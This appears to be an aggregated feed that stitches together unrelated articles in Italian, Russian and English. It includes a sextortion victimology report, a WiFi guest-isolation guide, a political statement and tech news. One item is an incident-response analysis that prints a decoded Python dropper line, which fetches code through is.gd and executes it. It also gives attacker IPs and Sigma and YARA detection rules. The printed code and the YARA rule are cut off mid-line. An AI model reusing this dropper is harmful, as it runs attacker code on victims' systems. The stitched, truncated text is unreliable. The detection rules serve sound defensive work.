Sextortion – reati informatici e sessuali, una analisi multidisciplinare della vittimologia maschile
“Permesso Negato” è una organizzazione non-profit la cui mission è fornire assistenza alle persone vittime di condivisione non consensuale di materiale intimo.
Questo reato negli ultimi anni ha registrato una enorme diffusione, non solo grazie alle nuove tecnologie e ai nuovi strumenti che lo rendono tecnicamente agevole, ma anche grazie allo sviluppo di una nuova sensibilità culturale che, anche mediante i canali di informazione di massa, ne dà la giusta rilevanza
“Permesso negato” ha recentemente pubblicato report all’esito di una indagine condotta tra le vittime a cui l’associazione ha fornito sostegno, in cui analizza il tema da diversi punti di approccio: giuridico, psicologico e sociologico.
Strumenti di controllo
“Permesso negato” e altre realtà hanno sviluppato uno strumento che consente alle vittime, reali o potenziali, di generare un codice hash del materiale che temono possa essere pubblicato. Il codice di hash altro non è che una stringa alfanumerica, univoca (non può esservene un’altra uguale), generata da un algoritmo in relazione al contenuto di un file. Di fatto si tratta di una sorta di impronta digitale del file in questione. Poiché ogni duplicazione del file avrà lo stesso codice di hash, le associazioni che partecipano al progetto condivideranno il codice con la propria rete. In questo modo sarà possibile dare un contributo nel rilevare e rimuovere i contenuti pubblicati senza autorizzazione.
Tra i siti internet che forniscono questo servizio troviamo Stop.NCII per gli adulti e Take It Down per i minorenni.
L’indagine
Il report pone in evidenza i suoi limiti: il dataset è limitato solo alle vittime che spontaneamente hanno contattato l’associazione. Tuttavia, essendo un set di circa mille soggetti, può comunque offrire uno “spaccato” significativo, utile per l’ attività di analisi.
In secondo luogo, poiché il report vuole focalizzare l’attenzione sulle vittime maschili di questa tipologia di reato, il dataset rischia di essere ampiamente sottodimensionato. Infatti il senso di panico, vergogna e vulnerabilità che spesso inibisce le vittime dal denunciare quanto accaduto, porta a ritenere che i numeri reali potrebbero essere ben più rilevanti.
Il reato- la sextortion
La condotta di pubblicazione di materiale a contenuto sessuale, senza consenso, è disciplinata penalmente dall’art. 612-ter del Codice Penale. L’articolo in questione è titolato “diffusione illecita di immagini o video sessualmente espliciti”. Definizione certamente più corretta rispetto a quella più popolare di revenge porn.
L’etichetta di revenge porn, infatti, è fuorviante poiché presuppone un intento vendicativo (revenge, appunto) da parte del soggetto agente, mentre il fenomeno è ben più diffuso. Le motivazioni ritorsive sono solo una parte delle ragioni che muovono l’autore del reato il quale, molto spesso, ha l’obiettivo del guadagno. In questo caso compie una vera e propria condotta estorsiva.
Il fenomeno della sextortion individua la condotta attraverso cui un soggetto minaccia la vittima di rivelare notizie e di diffondere immagini di natura sessuale che la riguardano, in modo da costringerla a comportarsi in un certo modo.
Spesso queste immagini e video vengono acquisite mediante attività di hacking tra le più diverse, dall’accesso abusivo a reti informatiche ad attività di social engeneering. Quest’ultima è la condotta analizzata dal report in discussione.
Il luogo del delitto
Una ulteriore circostanza qualificante che accomuna molti reati perpetrati tramite estorsione informatica, è che spesso la richiesta riguarda il pagamento di somme di denaro. Procedura che si compie mediante pagamenti telematici.
Ne consegue che il luogo in cui si produce “il danno” (cioè quello in cui avviene l’addebito della somma), è diverso dal luogo ove si realizza l’ingiusto profitto (l’accredito della somma). A volte, quando vengono utilizzati metodi di pagamento che non consentono accrediti immediati, anche il tempo del danno è diverso da quello del profitto.
La giurisprudenza ha chiarito che il luogo di commissione del delitto è quello dell’accredito delle somme (es. ove è stato aperto il conto corrente beneficiario), e il tempo del reato è quello in cui avviene l’accredito della somma.
Sul tema della qualificazione del reato, gli autori del report auspicano l’introduzione di un delitto specifico di estorsione sessuale nel codice penale. Chi scrive, per diverse ragioni, non concorda con questa idea poiché, a differenza degli autori del report, non ritiene che un nuovo reato possa fornire quella chiarezza giuridica o quella sensibilizzazione auspicata dagli autori del lavoro qui presentato.
Le indagini
I reati commessi mediante l’ausilio di tecnologie informatiche richiedono specifiche attività di indagine, disciplinate dalla L. 48/2008 per cui l’Autorità Giudiziaria può acquisire informazioni con misure tecniche che ne assicurino la conservazione dei dati originali e che ne impediscano l’alterazione. Una delle modalità più sicure e utilizzate è rappresentata dalla copia forense dei file, cioè una copia esatta delle informazioni presenti sul supporto informatico.
Il tema inerente alla valenza probatoria degli screenshot ha generato diverse discussioni nell’ambiente giuridico, e ha visto pronunce diverse e contrastanti da parte della giurisprudenza. La Corte di Cassazione ha infatti confermato, in diverse occasioni, la valenza probatoria degli screenshot come mezzi idonei a dimostrare l’esistenza dei messaggi di testo rappresentati nell’immagine. Invero recentemente la stessa Corte ha ritenuto di correggere questo suo indirizzo, quantomeno per quanto concerne le prove raccolte dalla Polizia Giudiziaria, la quale è chiamata a dare applicazione alle tecniche di digital forensics.
I Dati
Lo studio si è basato su più di mille casi raccolti dall’associazione che lo ha condotto, e l’analisi delle informazioni raccolte ha riservato alcune sorprese.
In particolare, si scopre che il maggior numero di vittime del reato di sextortion è di genere maschile. Quasi il 90% dei casi riguarda uomini che, adescati sul web e convinti a condividere informazioni e immagini personali, vengono successivamente minacciati al fine di ottenere dei benefici.
In molti di questi casi, l’esca utilizzata è stata l’immagine di una donna, ulteriore conferma della tendenza alla sessualizzazione del corpo femminile.
La strategia di adescamento
L’adescamento della vittima segue, tendenzialmente, alcune fasi ben specifiche.
In un primo momento la vittima viene contattata, solitamente su piattaforme molto note e utilizzate. Dopo un primo approccio inizia la condivisione di informazioni personali: alcune emergono durante la conversazione pilotata dall’attaccante, altre informazioni vengono invece carpite dal profilo del social network a cui la vittima è registrata.
A questo punto il bersaglio dell’attacco viene convinto a spostare la conversazione su piattaforme diverse, notoriamente più restie a collaborare con l’Autorità durante le indagini. Qui la conversazione viene abilmente dirottata su temi più intimi, convincendo la vittima che questo livello di confidenza sia del tutto normale.
Una volta ottenute informazioni, immagini o testi compromettenti, questi vengono registrati dal criminale, il quale ora conclude la propria strategia mettendo in campo la minaccia di divulgare il contenuto della conversazione, qualora la vittima non soddisfi le sue richieste.
In questa fase si registrano due diverse domande, a seconda del genere sessuale di appartenenza della vittima. Se questa è una donna, l’attaccante tende a chiedere ulteriore materiale sessualmente esplicito. Se la vittima è un uomo, viene indirizzata una richiesta economica.
Anche in questo frangente si assiste all’enfatizzazione del pregiudizio di genere: la donna vista come oggetto del desiderio sessuale, l’uomo considerato per la sua capacità economica.
Inizialmente l’estorsore formula richieste economicamente molto elevate, adottando una strategia aggressiva. Ciò gli consente di lasciare credere alla sua vittima di avere il controllo della situazione quando questa inizierà a trattare e l’attaccante fingerà di acconsentire a ridurre le proprie richieste incontrando le richieste avanzate dalla sua vittima.
Il ruolo delle piattaforme on-line
I provider di servizi on-line non sono legalmente responsabili per i contenuti pubblicati dai loro utenti, salvo il caso in cui abbiano consapevolezza effettiva dell’illecito e non rimuovano tempestivamente i contenuti illegali.
Il Digital Service Act, in vigore dal 2023, ha introdotto alcuni obblighi per le piattaforme aventi più di 45 milioni di utenti mensili. Queste realtà ora sono obbligate ad essere maggiormente coinvolte nella lotta ai contenuti illeciti, bilanciando libertà di espressione e tutela degli utenti.
Il rapporto psicologico tra vittima ed estorsore
Si sviluppa in una dinamica di controllo progressivo ove il ricattatore, acquisita la fiducia della sua vittima, dà vita ad un ciclo di minacce e richieste. La vittima vive una sensazione di impotenza e invoca un intervento salvifico esterno. Il persecutore, invece, adotta un ruolo autoritario, colpevolizzando la vittima.
A volte accade che la vittima si responsabilizzi della situazione, andando così ad alimentare una forma di auto-persecuzione che si aggiunge a quella già finalizzata dall’estorsore.
In alcune occasioni il persecutore si pone anche nel ruolo del salvatore, quando offre alla vittima una soluzione, ad esempio promettendo di non divulgare il materiale sottratto, in cambio del soddisfacimento delle sue richieste. Naturalmente questo è un ulteriore livello di manipolazione della vittima. Questo atteggiamento, infatti, lungi dall’essere una offerta di aiuto, rappresenta una strategia di controllo a lungo termine mediante l’alimentazione dell’illusione di una ipotetica conclusione della vicenda, senza però restituire mai alla vittima la reale libertà.
Le reazioni
Le vittime reagiscono in molti modi diversi. Alcune persone provano ad affrontare la minaccia direttamente, ad esempio denunciando il ricattatore o bloccando ogni canale di contatto e chiedendo supporto tecnico-legale.
In altri casi la vittima si rifiuta di affrontare la realtà, si isola o adotta comportamenti autolesivi.
Una delle conseguenze a lungo termine più rilevanti è lo sviluppo di Disturbi da Stress Post-traumatico. L’esperienza traumatica, infatti, non riguarda solo l’evento singolarmente considerato, bensì la “cronicizzazione della minaccia”. Il timore che il materiale utilizzato per l’estorsione possa riemerge in futuro o che il ricattatore torni a manifestare le sue richieste, determinano uno stato di allerta costante nella vittima.
La società
Da una indagine svolta da Save the Children nel 2024 è emerso che la maggior parte dei ragazzi minorenni intervistati ritiene che chi invia foto intime sia consapevole, e quindi si assuma i rischi derivanti da questo comportamento, mentre il 34% ritiene che ricevere foto intime non richieste sia una manifestazione di interesse, soprattutto tra i maschi coinvolti in una relazione sentimentale
E il futuro?
La diffusione dell’intelligenza artificiale ha amplificato e moltiplicato i pericoli. Attraverso questi strumenti, infatti, è possibile creare scenari iperrealistici che possono essere utilizzati anche a fini estorsivi.
Si pensi al caso dei deep nudes, immagini o video alterati per mostrare persone nude senza aver avuto alcun consenso.
Questi strumenti vengono utilizzati anche per creare immagini di donne in atteggiamenti sensuali da utilizzare come “esche” per l’adescamento iniziale sul web. In questo caso vi è una seconda vittima: la persona a cui sono state sottratte le immagini e modificate.
In ultimo, si pensi alla possibilità di creare immagini di nudo compromettenti e falsi partendo da fotografie pubblicate sui social network, che vengono poi sfruttate come leva per il ricatto. In questo caso l’estorsore non deve neppure “mettere in campo” tutte quelle strategie e fasi di cui si è parlato nelle righe precedenti.
La condivisione di informazioni on-line è una attività che rischia di rivelarsi pericolosa e che ha rovinato delle vite, per tale ragione è sempre più fondamentale una adeguata educazione digitale per gli utenti di ogni età.
Qui la pagina web da cui è possibile effettuare il download del report.
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Stealth Malware: la nuova frontiera del cybercrime
Accessi anomali e un loader Invisibile: storia di un attacco fileless evitato per un soffio
Abstract: Un caso reale di incident response porta alla scoperta di quello che chiameremo “Unknown Malware AP”, un sofisticato loader fileless basato su Python, capace di eseguire codice remoto usando Telegram e is.gd come vettori. Il malware sfugge ai rilevamenti tradizionali, ma viene individuato grazie all’intuito analitico e alla correlazione tra eventi di basso impatto.
L’articolo ricostruisce la catena di compromissione, le modalità di esecuzione fileless e le tecniche di detection efficaci per intercettarlo.
Introduzione
Quando un cliente mi chiama con preoccupazione per delle e-mail di mancato recapito verso indirizzi sconosciuti, la mente va subito a un possibile caso di spoofing o compromissione. Ma quello che si nascondeva sotto era molto di più: un loader fileless, invisibile agli antivirus e capace di eseguire codice remoto usando Telegram come canale di comando.
L’intervento di emergenza
La mailbox di un dipendente invia email fantasma, generate da un’origine ignota. Il primo passo è deployare un EDR su tutte le macchine della rete. Quasi subito emergono anomalie: un processo parte da un percorso insolito `C:\Users\Public\Windows\svchost.exe` e lancia un file denominato `Photos`.
La command line incriminata è:
"C:\Users\Public\Windows\svchost.exe"
C:\Users\Public\Windows\Photos
Il file `svchost.exe`, dal nome ingannevole ed in un percorso decisamente anomalo, risulta essere un interprete Python.
L’hash SHA256 è: ff507b25af4b3e43be7e351ec12b483fe46bdbc5656baae6ad0490c20b56e730
Nonostante l’analisi su VirusTotal non evidenzi nulla di sospetto, qualcosa, come evidente, non torna.
Il nodo: il file `Photos`
Grazie all’EDR, ispeziono le linee di comando e identifico Photos come il vero core: un file codificato in Base64 che, una volta decifrato, rivela un dropper Python che esegue questo codice:
import requests, re
exec(requests.get(requests.head(f'https://is.gd/{match.group(1)}', allow_redirects=True).url).text)
if (match := re.search(r'
Connessioni anomale
L’EDR registra comunicazioni verso tre IP:
- 45.63.94.214
- 104.25.233.53
- 149.154.167.99
Il tutto, classificato solo come alert di media gravità. Un segnale che, in un SOC affollato da log e warning, sarebbe potuto passare inosservato.
Un loader su misura
Non esistono corrispondenze pubbliche note con altri loader. Nessuna traccia in ambienti come Hybrid Analysis, VirusTotal ed altri strumenti di analisi. Tutto lascia supporre che si tratti di un loader sviluppato su misura, potenzialmente generato o rifinito con strumenti AI.
Epilogo: la differenza tra SOC automatico e analisi umana
In un contesto altamente rumoroso, questo attacco avrebbe potuto annidarsi per mesi senza essere scoperto. Nessuna firma, nessuna traccia persistente, solo una command line anomala e delle email di rimbalzo come unica spia.
Ma proprio quell’incongruenza, colta dall’intuito umano, ha dato inizio all’analisi.
Un’analisi che ha rivelato un dropper silente, che avrebbe potuto aprire la strada aransomware, backdoor, esfiltrazione.
Non è finita con un disastro.
Ma ci è mancato poco.
Regole utili al rilevamento
Sigma Rule:
title: Python Fileless Loader via Telegram and is.gd
logsource:
category: process_creation
product: windows
detection:
selection:
Image: '*\\python.exe'
CommandLine|contains:
- requests.get(
- exec(
- t.me/
- is.gd/
condition: selection
level: high
description: Detects Python-based fileless dropper fetching payload via Telegram + is.gd
author: Agostino Pellegrino
falsepositives:
- Development environments using dynamic remote loading (rare)
references:
- attack.mitre.org/techniques/T1…
- attack.mitre.org/techniques/T1…
tags:
- attack.t1059
- attack.t1071.001
- fileless
- telegram
- loader
YARA Rule:
rule Unknown_Malware_AP_Fileless_Telegram_Loader {
meta:
description = "Detects Python fileless dropper using Telegram and is.gd"
author = "Agostino Pellegrino"
version = "1.0"
date = "2025-06-18"
strings:
$py_exec_requests = "exec(requests.get(" ascii
$py_telegram_url = "https://t.me/" ascii
$py_isgd_url = "https://is.gd/" ascii
$py_og_regex = "og:description" ascii
condition:
2 of them and filesize
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Reti WiFi Guest: Segmentare senza isolare è come mettere porte senza pareti.
Come avrete ormai capito nella nostra Rubrica WiFi su RedHotCyber, abbiamo intrapreso un viaggio tecnico e pratico nel mondo delle reti wireless, partendo dalla loro origine storica fino ad arrivare agli attacchi reali che colpiscono quotidianamente utenti e infrastrutture.
Dopo aver esplorato:
- la natura delle reti 802.11 e il loro funzionamento di base;
- i falsi miti più diffusi tra gli utenti (HTTPS, VPN, reti nascoste);
- e aver dimostrato sul campo vulnerabilità e tecniche di attacco (sniffing, DNS spoofing, captive portal hijacking),
abbiamo iniziato ad analizzare anche le prime contromisure, come l’introduzione dei sistemi AAA combinati ai captive portal, utili a regolamentare l’accesso e tracciare gli utenti.
Con questo articolo vogliamo fare un passo in più: andare oltre la semplice segmentazione delle reti e affrontare un aspetto spesso trascurato ma fondamentale, ovvero l’isolamento del traffico locale a livello Layer 2. Perché, come vedremo, segmentare senza isolare è come mettere delle porte… ma senza pareti.
Segmentazione L3
In molti articoli di cybersecurity si enfatizza l’importanza della segmentazione a livello Layer 3, ovvero la suddivisione logica del traffico tramite subnet IP e dispositivi di routing come firewall o router di livello 3. In questo approccio, ogni gruppo di utenti o dispositivi viene collocato in una subnet distinta, e il traffico tra i segmenti viene regolato da apposite policy di accesso definite sul firewall perimetrale.
Questa architettura si basa su tre principi fondamentali:
- Privilegio minimo: ogni dispositivo o utente deve poter accedere solo alle risorse strettamente necessarie, riducendo così la superficie di attacco.
- Definizione chiara dei confini: i segmenti devono essere separati da barriere ben definite per impedire movimenti laterali non autorizzati.
- Monitoraggio continuo: è essenziale rilevare tempestivamente attività sospette o traffico anomalo tra i segmenti per reagire rapidamente a eventuali violazioni.
Per applicare correttamente questo tipo di segmentazione, ogni dispositivo deve essere classificato in base alla funzione e al rischio, e assegnato al segmento più appropriato. Un esempio pratico potrebbe essere:
- VLAN X – Guest WiFi → 192.168.X.0/24
- VLAN Y – Uffici → 192.168.Y.0/24
- VLAN Z – Server → 192.168.Z.0/24
Sulla base del principio del privilegio minimo, le policy di firewall potrebbero essere strutturate così:
- VLAN X (Guest): nessuna comunicazione verso altre VLAN; accesso solo a Internet, con limiti di banda e filtraggio contenuti.
- VLAN Y (Uffici): accesso selettivo solo ad alcuni server (es. DNS, posta, file server), e priorità maggiore sulla navigazione rispetto ai guest.
Tuttavia, nelle reti WiFi Guest e BYOD (Bring Your Own Device), la segmentazione L3 non è sufficiente. Anche se i dispositivi sono assegnati a VLAN distinte e soggetti a regole firewall, possono comunque comunicare tra loro a livello Layer 2.
Questo apre la porta e ci espone a diverse tecniche di attacco interne. Non dimentichiamo una delle regole fondamentali della cybersecurity: bloccare la minaccia il più vicino possibile alla fonte. E il Layer 2 è il punto più vicino al dispositivo e all’utente, dove il controllo deve essere immediato e puntuale
Per questo motivo, non basta segmentare: è fondamentale isolare il traffico anche a livello Layer 2, impedendo ogni comunicazione diretta tra dispositivi all’interno dello stesso segmento. Solo così si può garantire una reale sicurezza in ambienti condivisi o ad alto rischio.
Andiamo a capire quindi come possiamo isolare il traffico a livello 2.
Client Isolation su WiFi:
La funzione di Client Isolation, disponibile su molti access point e controller WiFi, è progettata per impedire la comunicazione diretta tra dispositivi wireless connessi allo stesso SSID. Questa misura agisce a livello Layer 2 dell’infrastruttura WiFi, bloccando il traffico locale (come pacchetti ARP, broadcast, o traffico multicast) tra i dispositivi client.
In pratica, quando un dispositivo tenta di comunicare con un altro client sulla stessa rete wireless, i pacchetti vengono intercettati e bloccati direttamente dall’infrastruttura WiFi. Ciò previene attacchi interni come:
Esistono principalmente due modalità operative per implementare il Client Isolation a livello Layer 2:
- Dinamica basata su DHCP e Default Gateway
In questa modalità, al momento della connessione alla rete WiFi, il client riceve un indirizzo IP tramite DHCP, e viene automaticamente autorizzato a comunicare esclusivamente con il MAC address del gateway predefinito. L’infrastruttura applica un filtro a livello Layer 2 che blocca qualsiasi altra comunicazione locale.- ✅ Vantaggi:
- Non richiede configurazioni manuali.
- Funziona in modo automatico con la maggior parte dei dispositivi.
- ⚠️ Limiti:
- Se un dispositivo utilizza un IP statico, potrebbe non essere riconosciuto correttamente e il traffico verrà bloccato.
- Per evitare queste situazioni, è consigliabile abilitare la funzione di DHCP enforcement a livello di SSID (quando supportata). Ne parleremo in dettaglio nei prossimi articoli.
- ✅ Vantaggi:
- Statica basata su whitelist MAC
In questa modalità, è possibile configurare manualmente una whitelist di indirizzi MAC autorizzati, come ad esempio quelli del gateway o di eventuali dispositivi di servizio specifici. Così facendo, tutte le comunicazioni locali verso dispositivi diversi da quelli in whitelist vengono bloccate.- ✅ Vantaggi:
- Maggiore controllo e sicurezza: si evitano automatismi e si definisce in modo esplicito con chi i client possono comunicare.
- ⚠️ Limiti:
- Richiede una configurazione manuale: qualsiasi cambiamento del MAC del gateway (per esempio in caso di failover o sostituzione del router) impone l’aggiornamento della whitelist.
- Meno adatta a reti dinamiche o con variazioni frequenti nella topologia.
- ✅ Vantaggi:
Entrambe le modalità possono essere scelte o combinate in base al livello di controllo desiderato e alle funzionalità disponibili sugli apparati di rete.
In ogni caso, il principio resta invariato: impedire qualsiasi comunicazione diretta tra i client wireless e garantire che ogni flusso di dati passi attraverso un punto di controllo Layer 3, dove possono essere applicate regole e policy centralizzate.
Private Vlan e Port Protect sulla rete di trasporto:
Come accennato in precedenza, l’isolamento del traffico a livello di rete di trasporto è una misura fondamentale per garantire la sicurezza delle comunicazioni, specialmente in contesti in cui si connettono dispositivi non gestiti, come nelle reti WiFi Guest o BYOD. Questo isolamento diventa cruciale per prevenire attacchi interni e ridurre il rischio di compromissioni tra dispositivi collegati alla stessa rete.
Anche quando la Client Isolation è abilitata a livello wireless, il traffico Layer 2 può comunque propagarsi attraverso la rete cablata, se non vengono adottate ulteriori misure. Questo accade, ad esempio, quando abbiamo, più access point che bridgeano localmente il traffico, inoltrandolo direttamente sulle porte di rete degli switch senza tunnelizzarlo verso un controller centralizzato. In questi casi, i dispositivi connessi a diversi AP potrebbero comunque riuscire a comunicare tra loro attraverso la rete di trasporto, vanificando di fatto l’isolamento previsto sulla rete WiFi.
NB: Se l’access point tunnelizza il traffico guest verso un controller centrale (es. CAPWAP o GRE), l’isolamento può essere gestito a monte, rendendo opzionale l’isolamento locale delle porte. In caso di bridge locale, l’isolamento Layer 2 è invece fondamentale.
Per impedire che dispositivi connessi alla stessa infrastruttura possano comunicare direttamente tra loro, è necessario adottare meccanismi di isolamento Layer 2 a livello switch. Le due tecniche principali per raggiungere questo obiettivo sono:
- Private VLAN (PVLAN): Consente di creare segmentazioni avanzate per isolare i dispositivi connessi alla rete.
- Port Protect: Fornisce un’alternativa leggera e semplice per bloccare la comunicazione diretta tra porte configurate sugli switch.
Entrambe le configurazioni aiutano a:
- Limitare la comunicazione diretta: Bloccare il traffico Layer 2 tra dispositivi connessi.
- Proteggere i dispositivi collegati: Prevenire attacchi interni come sniffing, spoofing o man-in-the-middle.
- Migliorare la sicurezza complessiva: Garantire che ogni dispositivo comunichi solo con entità autorizzate o attraverso un controllo Layer 3.
La scelta tra PVLAN e Port Protect dipende da diversi fattori, tra cui la complessità dell’infrastruttura di rete e i requisiti specifici di isolamento.
Le Private VLAN offrono un isolamento più granulare e flessibile, ideale per ambienti complessi, multi-tenant o con alta densità di utenti.
Al contrario, la funzione Port Protect rappresenta una soluzione più semplice e veloce da implementare, perfetta per contesti meno strutturati o dove è richiesta una configurazione rapida.
NB: Inoltre, va considerato che molti switch entry-level supportano solo Port Protect e non le PVLAN. In questi casi, Port Protect diventa l’unica opzione praticabile per garantire un isolamento Layer 2.
Private VLAN (PVLAN)
Per garantire l’isolamento del traffico a livello di rete di trasporto, è altamente consigliato configurare le Private VLAN (PVLAN). Questa tecnica consente di limitare la comunicazione diretta tra porte all’interno della stessa VLAN, permettendo il traffico solo verso porte specifiche come gli uplink.:
Cos’è una PVLAN?
Una Private VLAN è un’estensione delle VLAN tradizionali
Una Primary VLAN può includere diverse Secondary VLAN, che si classificano in due categorie:
- Isolated VLAN
- Community VLAN
A queste si aggiunge la possibilità di assegnare alla Primary VLAN delle Promiscuous Port.
Tipologie di porte in una PVLAN
- Promiscuous Ports (Porte Promiscue):
- Possono comunicare con tutte le porte ( comprese le isolate e community).
- Tipicamente utilizzata per uplink verso router, firewall, gateway o server condivisi.
- Isolated Ports (Porte Isolate):
- Non può comunicare con altre porte isolate, ma solo con la promiscuous.
- Ideale per client guest o dispositivi che non devono mai comunicare tra loro (es. le porte che sono verso gli AP).
- Community Ports (Porte Comunitarie):
- Può comunicare con altre porte della stessa community e con la promiscuous, ma non con le porte isolate.
- Utile per piccoli gruppi che condividono risorse, come stampanti o NAS interni. Le porte community solitamente non vengono utilizzate in una rete guest o BYOD.
Come Funziona una PVLAN
Lo schema rappresenta una configurazione Private VLAN (PVLAN) su uno switch gestito, con porte suddivise in diverse tipologie:
Promiscuous Port (P)
- Situata a sinistra dello switch, è collegata al router/firewall, ovvero il punto di uscita verso la rete esterna.
- Tutti i dispositivi nello schema possono comunicare con questa porta.
- Serve come gateway centralizzato per l’accesso a Internet o a servizi comuni.
Community Ports (C1 e C2)
- I PC grigi in alto sono collegati a porte di tipo C1 (Community 1).
- I PC blu a destra sono collegati a porte di tipo C2 (Community 2).
Comportamento:
- I dispositivi C1 possono comunicare tra loro e con la promiscuous (P), ma non con i dispositivi C2 o I.
- I dispositivi C2 possono comunicare tra loro e con la promiscuous (P), ma non con i dispositivi C1 o I.
👉In questo modo abbiamo più “gruppi di lavoro” indipendenti sulla stessa VLAN, ciascuno isolato dagli altri ma con accesso condiviso a internet.
Isolated Ports (I)
- I tre PC rossi in basso sono connessi a porte isolate.
Comportamento:
- Questi dispositivi non possono comunicare tra loro.
- Possono parlare solo con la porta promiscuous (P), quindi accedere a internet tramite il router/firewall.
- Sono perfetti per ambienti guest WiFi o dispositivi non affidabili che devono essere completamente separati l’uno dall’altro e dagli altri apparati di rete
Collegamento tra Switch
- In basso a sinistra è presente un uplink verso un secondo switch.
- Le porte di uplink tra switch in una rete PVLAN devono essere configurate come trunk, trasportare tutte le VLAN coinvolte (Primary + Secondary), e non devono avere alcun ruolo PVLAN assegnato.
- L’obiettivo è mantenere la struttura di isolamento identica su tutta la dorsale della rete.
Sintesi comportamentale
Questa configurazione garantisce un isolamento di livello 2 molto preciso, mantenendo allo stesso tempo l’accesso centralizzato alle risorse comuni. È particolarmente utile in ambienti ad alta densità, come hotel, data center, coworking o reti BYOD.
Port Protect: l’alternativa semplice alle PVLAN
La funzione Port Protect, disponibile su molti switch gestiti, è una soluzione pratica per impedire la comunicazione diretta tra dispositivi connessi a porte Layer 2 sullo stesso dominio di broadcast.
A differenza delle PVLAN, Port Protect lavora a livello di porta, non richiede configurazione VLAN secondarie e risulta particolarmente utile quando:
- l’infrastruttura non supporta PVLAN
- si opera in ambienti più semplici, dove è sufficiente un isolamento minimo ma efficace .
Possiamo vedere la protect port come una soluzione rapida e semplice da implementare, anche senza policy complesse.
Esempio pratico della port protect
Analizzando lo schema in alto possiamo quindi affermare che tutti PC possono parlare con il router/firewall ma non tra di loro.
Tabella comparativa: PVLAN vs Port Protect
Scenari pratici – quale soluzione adottare?
Conclusioni
Le reti WiFi aperte, per loro natura, nascono come insicure: nessuna autenticazione, traffico in chiaro, utenti non tracciati.
Ma questo non significa che non possiamo fare nulla per migliorare la situazione.
Una delle contromisure più efficaci è l’isolamento del traffico a livello Layer 2.
Bloccare la comunicazione diretta tra dispositivi connessi alla stessa rete – WiFi o cablata – è fondamentale per prevenire attacchi laterali come sniffing, ARP spoofing o accessi non autorizzati.
Tecnologie come le Private VLAN e la Port Protect ci permettono di ottenere questo isolamento in modo efficace e adattabile al tipo di infrastruttura.
Queste soluzioni, insieme ad altre contromisure che stiamo approfondendo nella nostra rubrica (come Captive Portal e AAA), trasformano una WiFi aperta in un ambiente più sicuro.
Non possiamo sempre impedire ad un attaccante di entrare in una rete pubblica aperta.
Ma possiamo – anzi dobbiamo – fare tutto quello che è in nostro potere per evitare che possa nuocere ad altri.
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Заявление Пиратского интернационала об эскалации конфликта на Ближнем Востоке
Пиратская партия России, являясь партией-основательницей и неотъемлемой частью международного пиратского движения, публикует заявление пиратского интернационала об эскалации конфликта на Ближнем Востоке.
Мы в Пиратском интернационале с глубокой обеспокоенностью наблюдаем за последней эскалацией между Израилем и Ираном. Израиль заявляет, что нанёс упреждающие удары по ядерным и военным объектам Ирана. Однако режим Нетаньяху уже ведет разрушительную войну в Газе, и его военные действия, похоже, продиктованы в большей степени политическим выживанием и стремлением укрепить своё наследие, чем реальной безопасностью. Международное сообщество вправе требовать четких доказательств и прозрачности в отношении этих атак.
С другой стороны, режим Хаменеи в Иране также правит жестоко. Иран продолжает наносить удары по гражданским объектам, намеренно выбирая цели, далёкие от законных военных объектов. Иранскому режиму необходимо немедленно прекратить разработку ядерного оружия, поддержку терроризма против еврейских общин и поставки вооружения таким группировкам, как хуситы в Йемене и «Хезболла» в Ливане.
Пиратский интернационал подчёркивает, что дипломатические решения должны иметь приоритет над военной агрессией. Мы глубоко обеспокоены конфликтом, который угрожает миллионам невинных жизней, создаёт риск серьёзных ядерных инцидентов и становится всё более непредсказуемым. Общественность справедливо опасается, что ядерные арсеналы уже могут быть задействованы, ставя под угрозу мирных жителей, которые не могут полагаться исключительно на системы ПВО и бомбоубежища.
Мы однозначно призываем к немедленному прекращению огня.
Наше движение объединяет людей по всему миру, включая членов Пиратской партии в Израиле, сочувствующих в Иране и многих выходцев из Ирана, живущих в изгнании. По-настоящему отрадно, что наши израильские и иранские коллеги конструктивно обсуждают этот кризис, открыто исследуя пути к миру. Мы лишь можем пожелать, чтобы политические лидеры, укоренившиеся в обоих правительствах, проявили такую же мудрость и человечность.
Мы выступаем за большую свободу, прозрачность и права человека для всех пострадавших народов. Мы настоятельно призываем к возобновлению диалога на уровне гражданского общества и открытию каналов связи между жителями Израиля и Ирана, которых объединяет общий интерес к миру и согласию. Прошлые попытки объединить эти сообщества напоминают нам, что солидарность и взаимопонимание достижимы.
Мы призываем все стороны ставить жизнь мирных жителей выше любых политических амбиций. Пиратский интернационал твёрдо выступает за мир, прозрачность и силу людей, а не режимов.
Оригинал на английском: pp-international.net/2025/06/i…
Сообщение Заявление Пиратского интернационала об эскалации конфликта на Ближнем Востоке появились сначала на Пиратская партия России | PPRU.
Le vere ragioni dell’attacco israeliano
La campagna di bombardamenti sull’Iran è un tentativo disperato di Netanyahu di unire il mondo al fianco di Israele LeggiOri Goldberg (Internazionale)
freezonemagazine.com/articoli/…
Ci sono libri che arrivano come testamenti, altri come confessioni, altri ancora come richieste di ascolto. Me la sono andata a cercare di Giuliana Sgrena appartiene a tutte queste categorie insieme, ma ne supera i confini. È un libro che non si limita a raccontare una vita in prima linea: è il
La situazione incendiaria dei powebank Anker
L'articolo proviene da #StartMag e viene ricondiviso sulla comunità Lemmy @Informatica (Italy e non Italy 😁)
Anker ha avviato una maxi campagna di richiamo per un milione di powerbank PowerCore 10000. L'azienda sta gestendo altri tre richiami per altrettanti device. E startmag.it/innovazione/la-sit…
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Ben Eater Makes Computer Noises
When [Ben Eater] talks, hackers everywhere listen. In his latest video [Ben] shows us how to make computer noises using square waves and a 6502 microprocessor.
[Ben] uses the timer in the W65C22 Versatile Interface Adapter to generate the square waves which generate a tone. He then adds support for a new BEEP
command into his MS BASIC interpreter. We covered [Ben Eater]’s MS BASIC here at Hackaday back in April, so definitely check that out if you missed it.
After checking the frequency of oscillation using his Keysight oscilloscope he then wires in an 8Ω 2W speaker via a LM386 audio amplifier. We can’t use the W65C22 output pin directly because that can only output a few milliwatts of power. [Ben] implements the typical circuit application from the LM386 datasheet to drive the speaker. To complete his video [Ben] writes a program for his BASIC interpreter which plays a tune.
Thanks to [Mark Stevens] for writing in to let us know about this one. If you’re planning to play along at home a good place to start is to build your own 6502, like [Ben] did!
youtube.com/embed/tIOR7kRevPU?…
Build Your Own Telescope the Modern Way
When we were kids, it was a rite of passage to read the newly arrived Edmund catalog and dream of building our own telescope. One of our friends lived near a University, and they even had a summer program that would help you measure your mirrors and ensure you had a successful build. But most of us never ground mirrors from glass blanks and did all the other arcane steps required to make a working telescope. However, [La3emedimension] wants to tempt us again with a 3D-printable telescope kit.
